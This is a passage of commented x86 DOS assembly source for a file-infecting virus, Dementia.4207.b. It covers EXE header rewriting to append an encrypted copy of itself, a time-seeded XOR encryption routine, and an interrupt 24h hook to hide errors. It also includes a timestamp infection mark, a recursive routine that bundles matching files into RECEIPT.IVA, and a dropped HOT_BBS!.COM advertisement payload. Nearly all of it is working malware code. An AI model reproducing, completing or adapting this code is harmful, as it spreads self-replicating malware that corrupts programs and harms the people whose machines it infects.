mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...
mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,0ch ; Divide by four thousand and nine...
shr bx,cl ; BX = header size in sixty-five t...
add dx,bx ; Add header size in sixty-five th...
mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
shl bx,cl ; BX = header size
add ax,bx ; Add header size to filesize
adc dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...
pop bx ; Load BX from stack
mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...
add ax,(code_end-code_begin)
adc dx,00h ; Convet to 32-bit
mov cl,07h
shl dx,cl ; Multiply by one hundred and twen...
push ax ; Save AX at stack
mov cl,09h ; Divide by pages
shr ax,cl ; AX = low-order word of pointer t...
add dx,ax ; DX = number of bytes on last 512...
pop ax ; Load AX from stack
and ax,0000000000011111b
jz store_pages ; Zero? Jump to store_pages
inc dx ; Increase number of bytes on last...
jmp store_pages_
store_pages:
mov ax,200h ; AX = total number of 512-bytes p...
store_pages_:
mov ds:[02h],ax ; Store total number of 512-bytes ...
mov ds:[04h],dx ; Store number of bytes on last 51...
mov ax,ds:[0ch] ; AX = maximum paragraphs to alloc...
cmp ax,10h ; Maximum paragraphs to allocate ...?
jae store_maximu ; Above or equal? Jump to store_ma...
mov ax,10h ; AX = new maximum paragraphs to a...
store_maximu:
mov ds:[0ch],ax ; Store maximum paragraphs to allo...
call set_pos_sof
mov cx,20h ; Write thirty-two bytes
call write_file
call set_pos_eof
call encrypt_copy
mov cx,(code_end-code_begin)
call write_file
inf_exe_exit:
mov sp,bp ; SP = stack pointer
pop bp ; Load BP from stack
ret ; Return!
endp
encrypt_copy proc near ; Move virus to data buffer and en...
push bx ; Save BX at stack
mov ah,2ch ; Get system time
int 21h
mov bx,cx ; BX = hour and minute
xor bx,dx ; BX = 16-bit random number
mov ah,2ah ; Get system date
int 21h
xor bx,cx ; BX = 16-bit random number
xor bx,dx ; BX = decryption key
mov dx,bx ; DX = " "
mov cs:[decrypt_key],dx ; Store decryption key
pop bx ; Load BX from stack
cld ; Clear direction flag
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov es,ax ; ES = segment of data buffer
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
xor si,si ; Zero SI
xor di,di ; Zero DI
mov cx,(code_end-code_begin)
rep movsb ; Move virus to data buffer
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
lea si,crypt_begin-02h ; SI = offset of crypt_end
mov di,si ; DI = " " "
mov cx,(crypt_begin-crypt_end-02h)/02h
std ; Set direction flag
encrypt_loop:
lodsw ; AX = word of plain code
xor ax,dx ; Encrypt word
stosw ; Store encrypted word
loop encrypt_loop
cld ; Clear direction flag
ret ; Return!
endp
int24_store proc near ; Get and set interrupt vector 24h
push bx dx ds es ; Save registers at stack
mov ax,3524h ; Get interrupt vector 24h
int 21h
mov word ptr cs:[int24_addr],bx
mov word ptr cs:[int24_addr+02h],es
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
lea dx,int24_virus ; DX = offset of int24_virus
mov ax,2524h ; Set interrupt vector 24h
int 21h
pop es ds dx bx ; Load registers from stack
ret ; Return!
endp
int24_load proc near ; Set interrupt vector 24h
push dx ds ; Load registers from stack
mov dx,word ptr cs:[int24_addr]
mov ds,word ptr cs:[int24_addr+02h]
mov ax,2524h ; Set interrupt vector 24h
int 21h
pop ds dx ; Load registers from stack
ret ; Return!
endp
int24_virus proc near ; Interrupt 24h of Dementia.4207.b
mov al,03h ; Fail system call in progress
iret ; Interrupt return!
endp
calc_crc32 proc near ; Calculate CRC-32 checksum
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
add ax,40h ; AX = segment of CRC-32 table
mov es,ax ; ES = " " " "
xor di,di ; Zero DI
xor cx,cx ; Zero CX
gen_crc_tab:
xor dx,dx ; Zero DX
xor ax,ax ; Zero AX
mov al,cl ; AL = counter
push cx ; Save CX at stack
mov cx,08h ; Calculate each CRC-32 table entr...
gen_crc_loop:
clc ; Clear carry flag
rcr dx,01h ; Rotate DX through carry one bit ...
rcr ax,01h ; Rotate AX through carry one bit ...
jnc carry_loop ; No carry? Jump to carry_loop
xor dx,0edb8h ; DX = high-order word of CRC-32 t...
xor ax,8320h ; AX = low-order word of CRC-32 ta...
carry_loop:
loop gen_crc_loop
mov es:[di],ax ; Store low-order word of CRC-32 t...
mov es:[di+02h],dx ; Store high-order word of CRC-32 ...
add di,04h ; DI = offset of next CRC-32 table...
pop cx ; Load CX from stack
inc cx ; Increase count register
cmp cx,100h ; Generated enough CRC-32 table en...
jne gen_crc_tab ; Not equal? Jump to gen_crc_tab
call set_pos_sof
mov dx,0ffffh ; DX = high-order word of CRC-32 c...
mov ax,0ffffh ; AX = low-order word of CRC-32 ch...
read_block:
push ax dx ; Save registers at stack
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je calc_crc_xit ; Equal? Jump to calc_crc_xit
mov cx,ax ; CX = number of bytes actually read
pop dx ax ; Load registers from stack
xor si,si ; Zero SI
cal_crc_loop:
push bx cx ; Save registers at stack
xor bh,bh ; Zero BH
mov bl,[si] ; BL = byte of file
inc si ; Increase index register
xor bl,al ; Exclusive OR (XOR) byte of file ...
mov cl,02h
shl bx,cl ; Multiply by four
mov di,bx ; DI = offset of next CRC-32 table...
mov al,ah ; AL = low-order byte of low-order...
mov ah,dl ; AH = high-order byte of low-orde...
mov dl,dh ; DL = low-order byte of high-orde...
xor dh,dh ; Zero DH
mov bx,es:[di] ; BX = low-order word of CRC-32 ta...
xor ax,bx ; AX = low-order word of CRC-32 ch...
mov bx,es:[di+02h] ; BX = high-order word of CRC-32 t...
xor dx,bx ; DX = high-order word of CRC-32 c...
pop cx bx ; Load registers from stack
loop cal_crc_loop
jmp read_block
calc_crc_xit:
pop dx ax ; Load registers from stack
xor dx,0ffffh ; DX = high-order word of CRC-32 c...
xor ax,0ffffh ; AX = low-order word of CRC-32 ch...
ret ; Return!
endp
create_recei proc near ; Create RECEIPT.IVA file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,12h ; Correct stack pointer
mov [bp-08h],ax ; Store number of file specifications
mov [bp-10h],bx ; Store file handle of RECEIPT.IVA
mov [bp-02h],dx ; Store store or don't store backs...
mov [bp-06h],ds ; Store segment of file specificat...
mov ah,3bh ; Set current directory
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
xor dx,dx ; Zero DX
int 21h
mov ax,[bp-08h] ; AX = number of file specifications
xor cx,cx ; Zero CX
mov cl,al ; CL = number of file specifications
xor dx,dx ; Zero DX
find_first_:
mov ds,[bp-06h] ; DS = segment of file specification
push cx ; Save CX at stack
mov cx,0000000000000111b
call find_first
push dx ; Save DX at stack
jnc find_next_ ; No error? Jump to find_next_
jmp fnd_nxt_loop
find_next_:
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area
mov dx,1eh ; DX = offset of filename
call open_file
mov [bp-12h],ax ; Store file handle of file within...
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call set_pos_eof
push ds ; Save DS at stack
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+44h
mov ds,ax ; DS = segment of end of pathname
mov cx,40h ; Write sixty-four bytes
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call write_file
pop ds ; Load DS from stack
mov cx,0eh ; Write fourteen bytes
mov dx,1eh ; DX = offset of filename
call write_file_
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+4ch
mov ds,ax ; DS = segment of data buffer
mov bx,[bp-12h] ; BX = file handle of file within ...
call set_pos_eof
mov ds:[00h],ax ; Store low-order word of filesize
mov ds:[02h],dx ; Store high-order word of filesize
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
mov cx,04h ; Write four bytes
call write_file
mov bx,[bp-12h] ; BX = file handle of file within ...
call set_pos_sof
copy_file:
mov bx,[bp-12h] ; BX = file handle of file within ...
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je call_fnd_nxt ; Equal? Jump to call_fnd_nxt
mov cx,ax ; CX = number of bytes actually read
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
call write_file
jmp copy_file
call_fnd_nxt:
mov bx,[bp-12h] ; BX = file handle of file within ...
call close_file
call find_next
jc fnd_nxt_loop ; Error? Jump to fnd_nxt_loop
jmp find_next_
fnd_nxt_loop:
pop dx cx ; Load registers from stack
add dx,0eh ; DX = offset of next file specifi...
dec cx ; Decrease count register
cmp cx,00h ; No more files?
je copy_name ; Equal? Jump to copy_name
jmp find_first_
copy_name:
xor cx,cx ; Zero CX
find_first__:
push cx ; Save CX at stack
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
lea dx,file_specifi ; DX = offset of file_specifi
nop
mov cx,0000000000010111b
call find_first
jc receip_exit ; Error? Jump to receip_exit
pop cx ; Load CX from stack
push cx ; Save CX at stack
jmp test_count
found_dir:
push cx ; Save CX at stack
mov cx,01h ; Don't examine disk transfer area
test_count:
cmp cx,00h ; Examine disk transfer area?
je examine_dta ; Equal? Jump to examine_dta
call find_next
jc receipt_exit ; Error? Jump to receipt_exit
dec cx ; Decrease CX
jmp test_count
examine_dta:
pop cx ; Load CX from stack
inc cx ; Increase count register
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+44h
mov es,ax ; ES = segment of end of pathname
add ax,04h ; AX = segment of disk transfer area
mov ds,ax ; DS = " " " " "
mov si,15h ; SI = offset of attribute of file...
lodsb ; AL = attribute of file found
test al,00010000b ; Directory?
je found_dir ; Equal? Jump to found_dir
mov si,1eh ; SI = offset of filename
lodsb ; AL = byte of filename
cmp al,'.' ; Directory?
je
found_dir ; Equal? Jump to found_dir
mov ax,[bp-02h] ; AX = store or don't store backslash
mov di,ax ; DI = offset of end of pathname
mov si,1eh ; SI = offset of filename
cmp al,01h ; Don't store backslash?
je copy_name_ ; Equal? Jump to copy_name_
mov al,'\' ; AL = backslash
stosb ; Store backslash
copy_name_:
lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
je store_zero ; Equal? Jump to store_zero
stosb ; Store byte of filename
jmp copy_name_
store_zero:
mov dx,di ; DX = offset of end of pathname
xor al,al ; AL = zero
stosb ; Store zero
mov ax,[bp-08h] ; AX = number of file specifications
mov bx,[bp-10h] ; BX = file handle of RECEIPT.IVA
mov ds,[bp-06h] ; DS = segment of file specifictions
push cx ; Save CX at stack
call create_recei
pop cx ; Load CX from stack
mov ah,3bh ; Set current directory
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
xor dx,dx ; Zero DX
mov di,[bp-02h] ; DI = offset of end of pathname
xor al,al ; AL = zero
stosb ; Store zero
int 21h
jmp find_first__
receipt_exit:
pop cx ; Load CX from stack
receip_exit:
mov sp,bp ; SP = stack pointer
pop bp ; Load BP from stack
ret ; Return!
endp
open_file proc near ; Open file
mov ax,3dffh ; Open file
xor cx,cx ; CL = attribute mask of files to ...
int 21h
mov bx,ax ; BX = file handle
ret ; Return!
endp
close_file proc near ; Close file
mov ah,3eh ; Close file
int 21h
ret ; Return!
endp
find_first proc near ; Find first matching file
mov ax,4e00h ; Find first matching file
int 21h
ret ; Return!
endp
find_next proc near ; Find next matching file
mov ah,4fh ; Find next matching file
int 21h
ret ; Return!
endp
load_info proc near ; Get file's date and time
mov ax,5700h ; Get file's date and time
int 21h
mov [bp-04h],cx ; Store file time
mov [bp-02h],dx ; Store file date
ret ; Return!
endp
infect_mark proc near ; Infection mark
mov ax,5701h ; Set file's date and time
mov cx,[bp-04h] ; CX = file time
mov dx,[bp-02h] ; DX = file date
and cx,1111111111100000b
or cx,0000000000000001b
int 21h
ret ; Return!
endp
read_file proc near ; Read from file
xor dx,dx ; Zero DX
read_file_ proc near ; Read from file
mov ah,3fh ; Read from file
int 21h
ret ; Return!
endp
endp
create_file proc near ; Create file
mov ah,3ch ; Create file
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
xor cx,cx ; CX = file attributes
int 21h
ret ; Return!
endp
write_file proc near ; Write to file
xor dx,dx ; Zero DX
write_file_ proc near ; Write to file
mov ah,40h ; Write to file
int 21h
ret ; Return!
endp
endp
set_pos_cfp proc near ; Set current file position (CFP)
mov ax,4201h ; Set current file position (CFP)
int 21h
ret ; Return!
endp
set_pos_eof proc near ; Set current file position (EOF)
mov ax,4202h ; Set current file position (EOF)
xor cx,cx ; Zero CX
cwd ; Zero DX
int 21h
ret ; Return!
endp
set_pos_sof proc near ; Set current file position (SOF)
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
set_pos_sof_ proc near ; Set current file position (SOF)
mov ax,4200h ; Set current file position (SOF)
int 21h
ret ; Return!
endp
endp
delete_file proc near ; Delete file
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
mov ah,41h ; Delete file
xor cx,cx ; CL = attribute mask for deletion
int 21h
ret ; Return!
endp
file_begin:
mov cx,(crypt_end_-crypt_begin_)/02h
mov si,(crypt_begin_-file_begin+100h)
mov di,si ; DI = offset of crypt_begin_
mov dx,1995h ; DX = decryption key
push cs cs ; Save segments at stack
pop ds es ; Load segments from stack (CS)
decrypt_loo_:
lodsw ; AX = word of encrypted code
xor ax,dx ; Decrypt two bytes
stosw ; Store two decrypted bytes
jmp decrypt_lo__
decrypt_lo__:
loop decrypt_loo_
crypt_begin_:
mov ax,01h ; Set video mode
int 10h
mov ax,0b800h ; AX = segment of text video RAM
mov es,ax ; ES = " " " " "
xor di,di ; Zero DI
mov cx,3e8h ; Store one thousand bytes
mov ax,0f20h ; Bright white background color, g...
rep stosw ; Overwrite text video RAM
xor di,di ; Zero DI
mov si,(gfx_begin-file_begin+100h)
mov cx,(gfx_end-gfx_begin)
load_gfx:
lodsb ; AL = byte of gfx_begin
cmp al,0ffh ; Write a string?
jne store_gfx ; Not equal? Jump to store_gfx
lodsb ; AL = byte of gfx_begin
dec cx ; Derease count register
cmp al,0ffh ; Write a single character?
je store_gfx ; Equal? Jump to store_gfx
push cx si ds ; Save registers at stack
xor cx,cx ; Zero CX
mov cl,al ; CL = size of string
lodsb ; AL = byte of gfx_begin
mov bl,al ; BL = low-order byte of offset of...
lodsb ; AL = byte of gfx_begin
mov bh,al ; BH = high-order byte of offset o...
mov si,bx ; SI = offset of string within gfx...
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
rep movsb ; Move string to text video RAM
pop ds si cx ; Load registers at stack
add si,02h ; Add two to index register
sub cx,02h ; Subtract two from count register
jmp dont_sto_gfx
store_gfx:
stosb ; Store a byte of gfx_begin
dont_sto_gfx:
loop load_gfx
mov ah,01h ; Set text-mode cursor shape
mov cx,2020h ; CX = cursor start, options, botto...
int 10h
mov ax,600h ; Scroll up window (clear entire w...)
mov cx,1700h ; CX = row and column of window's u...
mov dx,174fh ; DX = row and column of window's l...
mov bh,03h ; BH = attributes used to write bla...
int 10h
xor bx,bx ; BH = page number
mov dx,1600h ; DX = row and column
mov ah,02h ; Set cursor position
int 10h
mov bx,05h ; BX = attribute and page number
mov cx,28h ; CX = number of times to write ch...
mov ax,9c4h ; Write character and attribute at...
push ax bx cx ; Save registers at stack
int 10h
mov dx,1800h ; DX = row and column
mov ah,02h ; Set cursor position
int 10h
pop cx bx ax ; Load registers from stack
int 10h
mov bp,27h ; BP = length of row - 01h
prepare_tele:
mov dx,1700h ; DX = row and column
call set_cursor
cmp bp,01h ; Beginning of row?
jb examine_str ; Below? Jump to examine_str
mov cx,bp ; CX = number of times to write ch...
mov ax,0a20h ; Write character only at cursor p...
int 10h
add dx,cx ; Add current position in row to c...
call set_cursor
mov cx,28h ; CX = length of row
sub cx,bp ; Subtract current position in row...
dec bp ; Decrease base pointer
mov si,(_dementia_v-file_begin+100h)
jmp call_teletyp
examine_str:
mov cx,28h ; CX = length of row
inc si ; Increase index register
cmp byte ptr [si],00h ; End of string?
jne call_teletyp ; Not equal? Jump to call_teletyp
mov si,(_dementia_v-file_begin+100h)
call_teletyp:
push si ; Save SI at stack
call teletype_str
pop si ; Load SI from stack
jmp prepare_tele
teletype_str proc near ; Teletype string
lodsb ; AL = byte of _dementia_v
cmp al,00h ; End of string?
jne teletype_out ; Not equal? Jump to teletype_out
mov si,(_dementia_v-file_begin+100h)
jmp teletype_str
teletype_out:
mov ah,0eh ; Teletype output
int 10h
mov ah,01h ; Check for keystroke
int 16h
jnz hot_bbs_exit ; Keystroke available? Jump to hot...
loop teletype_str
mov cx,0fh ; PUSH/POP/LOOP fifteen times
loop_:
push cx ; Save CX at stack
xor cx,cx ; Zero CX
loop__:
loop loop__
pop cx ; Load CX from stack
loop loop_
ret ; Return!
endp
hot_bbs_exit:
mov ax,0c02h ; Flush buffer and read standard i...
int 21h
call cls_effect
mov ax,03h ; Set video mode
int 10h
mov ah,09h ; Write string to standard output
mov dx,(_c__little_l-file_begin+100h)
int 21h
mov ax,4c00h ; Terminate with return code
int 21h
set_cursor proc near ; Set cursor position
mov ah,02h ; Set cursor position
int 10h
ret ; Return!
endp
_dementia_v db '[Dementia v1.5b] -= 4 Ball Cafe''=- '
db '(801) PRI-VATE ì VX Support BBS ì USR Dual 28.8k ì'
db ' 2 nodes -=*=- ',00h
_c__little_l db '(C) Little Loc July ''94$'
gfx_begin db 0ffh,1ah,00h,00h,44h,09h,65h,09h,6dh,09h,65h,09h,6eh,09h
db 74h,09h,69h,09h,61h,09h,20h,09h,20h,09h,76h,09h,31h,09h
db 2eh,09h,35h,09h,62h,09h,0ffh,2ah,3ah,00h,28h,09h,43h,09h
db 29h,09h,20h,09h,4ah,09h,75h,09h,6eh,09h,65h,09h,20h,09h
db 27h,09h,39h,09h,34h,09h,20h,09h,2dh,09h,4eh,09h,65h,09
db 63h,09h,72h,09h,6fh,09h,73h,09h,6fh,09h,66h,09h,74h,09h
db 0ffh,0c6h,92h,00h,0dbh,0a0h,0ffh,0eh,5ah,01h,0b0h,3bh
db 0ffh,3fh,18h,01h,0c0h,0ffh,0ch,0bah,01h,0b1h,3bh,0b1h,3bh
db 0b1h,3bh,0ffh,48h,6ah,01h,0b2h,3bh,0ffh,08h,02h,02h,0ffh
db 3ah,0beh,01h,0dbh,0c0h,0ffh,0ah,0ach,01h,20h,6bh,0dch,68h
db 20h,68h,0dch,68h,20h,68h,0b1h,3bh,0ffh,42h,0c0h,01h,20h
db 0e0h,20h,0e0h,0bfh,68h,7eh,68h,0dah,68h,20h,68h,20h,68h
db 0ffh,37h,0eh,02h,0e0h,0ffh,06h,0e4h,02h,20h,0a0h,0ffh,06h
db 0ech,02h,0c0h,68h,0c4h,68h,0d9h,68h,20h,28h,0ffh,06h,0fah
db 02h,0ffh,08h,0e4h,02h,0dbh,0e0h,0ffh,2eh,6ch,02h,0dbh,86h
db 0dbh,86h,20h,86h,20h,0a6h,20h,0a6h,0cdh,2ah,0cbh,2ah,0cdh
db 2ah,20h,2ah,20h,2ah,20h,0fh,0dbh,86h,0dbh,86h,0ffh,30h
db 66h,02h,0ffh,0dh,34h,03h,86h,20h,0a6h,20h,0a6h,0bah,0ffh
db 07h,49h,03h,0ffh,07h,38h,03h,0ffh,3bh,79h,01h,20h,0fh,20h
db 90h,20h,0a0h,20h,0ffh,06h,0e3h,03h,0ffh,07h,9fh,00h,0dch
db 86h,0dch,86h,0ffh,39h,0a8h,03h,90h,20h,0ffh,0bh,31h,04h
db 0dbh,81h,0ffh,05h,3eh,04h,86h,0dbh,86h,0ffh,39h,48h,04h
db 96h,0ffh,05h,80h,04h,0fh,0dbh,90h,0dbh,90h,0dbh,90h,0ffh
db 41h,8eh,04h,0e0h,0ffh,05h,0ceh,04h,0ffh,05h,09h,05h,0ffh
db 06h,0e6h,02h,0ffh,0feh,0e0h,04h,0ffh,0ceh,0e0h,04h,50h
db 08h,72h,08h,65h,08h,73h,08h,73h,08h,20h,08h,61h,08h,6eh
db 08h,79h,08h,20h,08h,6bh,08h,65h,08h,79h,08h,0ffh,1ah,0e0h
db 04h
gfx_end:
cls_effect proc near ; Clear screen effect
push ax bx cx dx si di ss sp
mov ax,0b800h ; AX = segment of text video RAM
mov es,ax ; ES = " " " " "
mov word ptr ds:[(count-file_begin+100h)],0ch
mov word ptr ds:[(count_-file_begin+100h)],0d0h
reset_count:
mov ax,word ptr ds:[(count_-file_begin+100h)]
mov word ptr ds:[(count__-file_begin+100h)],ax
reset_regs:
mov word ptr ds:[(row_count-file_begin+100h)],13h
mov word ptr ds:[(column_count-file_begin+100h)],01h
mov di,3d8h ; DI = offset of lower left corner...
mov ax,word ptr ds:[(count-file_begin+100h)]
mov word ptr ds:[(count___-file_begin+100h)],ax
reset_cx:
mov cx,word ptr ds:[(row_count-file_begin+100h)]
dec cx ; Decrease row counter
push ds ; Save DS at stack
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
mov si,di ; SI = offset within segment of te...
add si,02h ; Add two to the index register
cld ; Clear direction flag
rep movsw ; Move two byte to the right
pop ds ; Load DS from stack
mov cx,word ptr ds:[(column_count-file_begin+100h)]
push ds ; Save DS at stack
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
mov si,di ; SI = offset within segment of te...
sub si,50h ; Subtract eighty from the index r...
mov ax,52h ; Subtract eigty-two from both reg...
cld ; Clear direction flag
move_up:
movsw ; Move two bytes a column up
sub di,ax ; Subtract eighty-two from the ind...
sub si,ax ; " " " " "
loop move_up
pop ds ; Load DS from stack
mov cx,word ptr ds:[(row_count-file_begin+100h)]
push ds ; Save DS at stack
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
mov si,di ; SI = offset within segment of te...
sub si,02h ; Subtract two from the index regi...
std ; Set direction flag
rep movsw ; Move two bytes to the left
pop ds ; Load DS from stack
mov cx,word ptr ds:[(column_count-file_begin+100h)]
inc cx ; Increase column counter
push ds ; Save DS at stack
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
mov si,di ; SI = offset within segment of te...
add si,50h ; Add eighty to the index register
mov ax,52h ; Add eighty-two to both index reg...
std ; Set direction flag
move_down:
movsw ; Move two bytes a column down
add di,ax ; Add eighty-two to the index regi...
add si,ax ; " " " " " "
loop move_down
pop ds ; Load DS from stack
add word ptr ds:[(row_count-file_begin+100h)],02h
add word ptr ds:[(column_count-file_begin+100h)],02h
dec word ptr ds:[(count___-file_begin+100h)]
jnz reset_cx ; Not zero? Jump to reset_cx
dec word ptr ds:[(count__-file_begin+100h)]
jz sub_count_ ; Zero? Jump to sub_count_
jmp reset_regs
sub_count_:
sub word ptr ds:[(count_-file_begin+100h)],08h
dec word ptr ds:[(count-file_begin+100h)]
jz cls_exit ; Zero? Jump to cls_exit
jmp reset_count
cls_exit:
pop sp ss di si dx cx bx ax
ret ; Return!
endp
count___ dw 00h ; Counter
count_ dw 00h ; Counter
count__ dw 00h ; Counter
row_count dw 00h ; Row counter
column_count dw 00h ; Column counter
count dw 00h ; Counter
crypt_end_:
file_end:
temp_file db '!#TEMP#!',00h ; Temporary file
request_iva db 'REQUEST.IVA',00h ; REQUEST.IVA
filename db 0dh dup(?) ; Filename
receipt_iva db 'RECEIPT.IVA ',00h ; RECEIPT.IVA
hot_bbs__com db 'HOT_BBS!.COM',00h ; HOT_BBS!.COM
file_specifi db '*.*',00h ; File specification
origin_code db 0cdh,21h,? ; Original code of infected COM file
int21_addr dd ? ; Address of interrupt 21h
int24_addr dd ? ; Address of interrupt 24h
com_or_exe db 00h ; COM or EXE executable
stack_ptr dw ? ; Original stack pointer
stack_seg dw ? ; Original stack segment
instruct_ptr dw ? ; Original instruction pointer
code_seg dw ? ; Original code segment
initial_ip dw ? ; Initial IP
initial_cs dw ? ; Initial CS relative to start of ...
code_seg_ dw ? ; Code segment
tst_filesize dw 00h ; Test or don't test filesize
db '[Necrosoft.Dementia.Troll]',00h,0dh,0ah
db 'Copyright 1994 Necrosoft enterprises - All rights reserved',00h,0dh,0ah
db 'I knew all along that she was the one, ',0dh,0ah
db ' but I hid it down deep inside. ',0dh,0ah
db 'I couldn''t bring myself to tell her, ',0dh,0ah
db ' no matter how I tried. ',0dh,0ah,00h
db 16h dup(00h)
crypt_begin:
code_end:
data_end:
prepare_demt proc near ; Prepare Dementia.4207.b
lea di,crypt_begin_+100h
mov cx,(crypt_end_-crypt_begin_)/02h
encrypt_loo_:
xor [di],1995h ; Encrypt two bytes
inc di ; Increase index register
inc di ; " " "
loop encrypt_loo_
mov [call_imm16+100h],cx
jmp delta_offset
endp
end code_begin
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENT_B.ASM]ÄÄ